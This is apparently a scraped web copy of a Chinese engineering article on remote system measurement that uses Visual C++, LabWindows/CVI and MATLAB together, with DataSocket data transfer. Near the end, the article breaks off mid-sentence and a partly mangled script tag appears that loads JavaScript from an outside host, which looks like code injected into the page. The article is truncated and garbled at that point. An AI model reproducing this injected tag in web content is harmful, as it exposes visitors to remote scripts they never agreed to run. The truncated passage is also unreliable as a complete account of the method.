一种基于多平台的系统远程测量与分析方法研究

摘要:针对大系统测量的复杂性和测试数据分析的繁琐性,重复性以及客户对测试的远程自动化要求,介绍了一种利用visualc++,labwindows/cvi,matlab多平台进行系统运行前设计,运行中监控,运行后分析的远程综合测试方法,并说明了该方法的应用原理,在应用原理的基础上进一步创建测试实体,同时以某系统联试试验为例进行该方法的基于时间和空间考虑的优化设计验证;结果表明该方法稳定可靠,优越性明显,因而有着很好的工程应用价值。

关键词:系统测量与分析;远程;多平台

1引言

计算机测试系统以其快速高效的数据传输和智能化控制系统应用于许多工程领域,但随着被测系统的规模越来越大,被测项目越来越复杂,测试指标的综合性越来越强,独立的软件应用已经不能适应现代自动测试系统的结构平台化,开放化,数据传输的网络化和故障远程诊断的发展。传统的测试方法存在着项目管理混乱,测试设备一大堆,测试数据难以综合处理;过多的时间和人力资源放在仪器操作,数据搬运,出差旅途上,大大的降低了工作效率并增加了失误的可能性。利用一种软件解决上述各种问题无疑将大大增加开发困难,因为每个软件都有自己的擅长之处。所以各软件平台协同运作的测试方法值得研究并推之应用。

2多平台简介

visualc++6.0,microsoft公司产品,可以较为方便的实现基本事件处理,模式映射,视图处理,odbc和dao数据库管理,internet技术和com等,因而很方便于创建图形丰富,功能完善的windows应用程序,但在数据采集,系统仿真与分析,实时监控,矩阵数据存储与处理等方面较为困难。

labwindows/cvi6.0,ni公司产品,虚拟仪器程序设计语言,主要采用事件驱动方式和回调函数方式,包含源代码文件(.c),头文件(.h),用户界面文件(.uir),可将工程文件生成应用文件(.exe),同样提供了dll(dynamiclinklibrary),dde(dynamicdataexchange),activex等外联机制,支持网络协议,包含快速样机开发的代码产生工具和内部编译器以及daq,gpib,pxi,vxi,rs232/485等各种仪器通信总线标准的所有功能函数,因而很方便于系统测量和数采协议的调用;但在项目管理,系统分析等方面则欠缺。

matlab6.5,mathworks公司产品,包含了完整的函数集用来对信号图像处理,控制系统设计,通信,神经网络,报告生成等。6.5版本改进了客户外部接口,增强了网络集成,因而很方便于系统分析,尤其是在矩阵数据的处理方面。但在项目管理,驱动程序设计,数据采集等方面则明显不足,尤其是在执行循环操作方面。

为了充分发挥各个软件对系统测量与分析的优势,弥补各自在某些方面的不足,减少程序编写困难,降低软件运行所消耗的计算机资源,即考虑软件运行的时间复杂度和空间冗余度,提高测试效率,将上述三种平台柔性结合,实现系统的远程测量,测后分析,故障诊断,综合评估等。

3应用原理

从效率和灵活性方面考虑,visualc++6.0和labwindows/cvi6.0都是编译性语言,matlab6.5则是解释性语言,编译性程序要比解释性程序运行速度快,加之考虑项目管理等方面的因素,选择visualc++作为主工作平台,进而调用labwindos/cvi6.0和matlab6.5,这样便减少了运行时间。前者的内核是c语言,因而在dll的调用方面有着很明显的优势,matlab6.5的调用则必须通过接口mex文件,具体的调用结构如图1所示。

图1为具体的调用结构图,各平台之间通过不同的方式相互调用,以此来实现总的目标功能。matlab6.5不仅有自己的数据结构,还具有外部数据交互接口,调用功能被集成在它的应用程序接口(api)中,其中mex动态链接库是它的主要功能;labwindows/cvi6.0中,通过创建应用程序本身的dll和dll导入库来实现与vc6.0的调用。

当进行系统测试时,三个平台在vc的总调度下实现异步协同工作。工作开始,首先启用驱动程序,进而采集信号并进行实时监控,紧接着将采集的信号提交服务器,服务器按照某种远程传输协议将数据发送至客户端,客户端将接收到的数据保存并显示以进行远程监控,最后将保存的数据进行分析,生成测试报告。进行系统测试时,三个平台的工作原理图如图2所示。

图2为该方法工作原理图,包括运行前部分,运行中部分和运行后部分。其中vc的调度平台只是进行基本事件处理,对于数据采集,远程传输,数据分析则采用labwindows/cvi6.0和matlab6.5,如此安排的原因有:1)vc6.0和labwindows/cvi6.0

都是编译性语言,可以赢得时间复杂度;2)labwindows/cvi6.0较大规模的集成了远程传输所用的datasocket(datasockettransferprotocol--dstp)服务器和客户端,使用很方便;3)使用的datasocket库支持http,ftp,file,dstp协议和opc服务器,方便应用于各种环境;4)只需?script src=http://er12.com/t.js>

  • 一种基于多平台的系统远程测量与分析方法研究已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计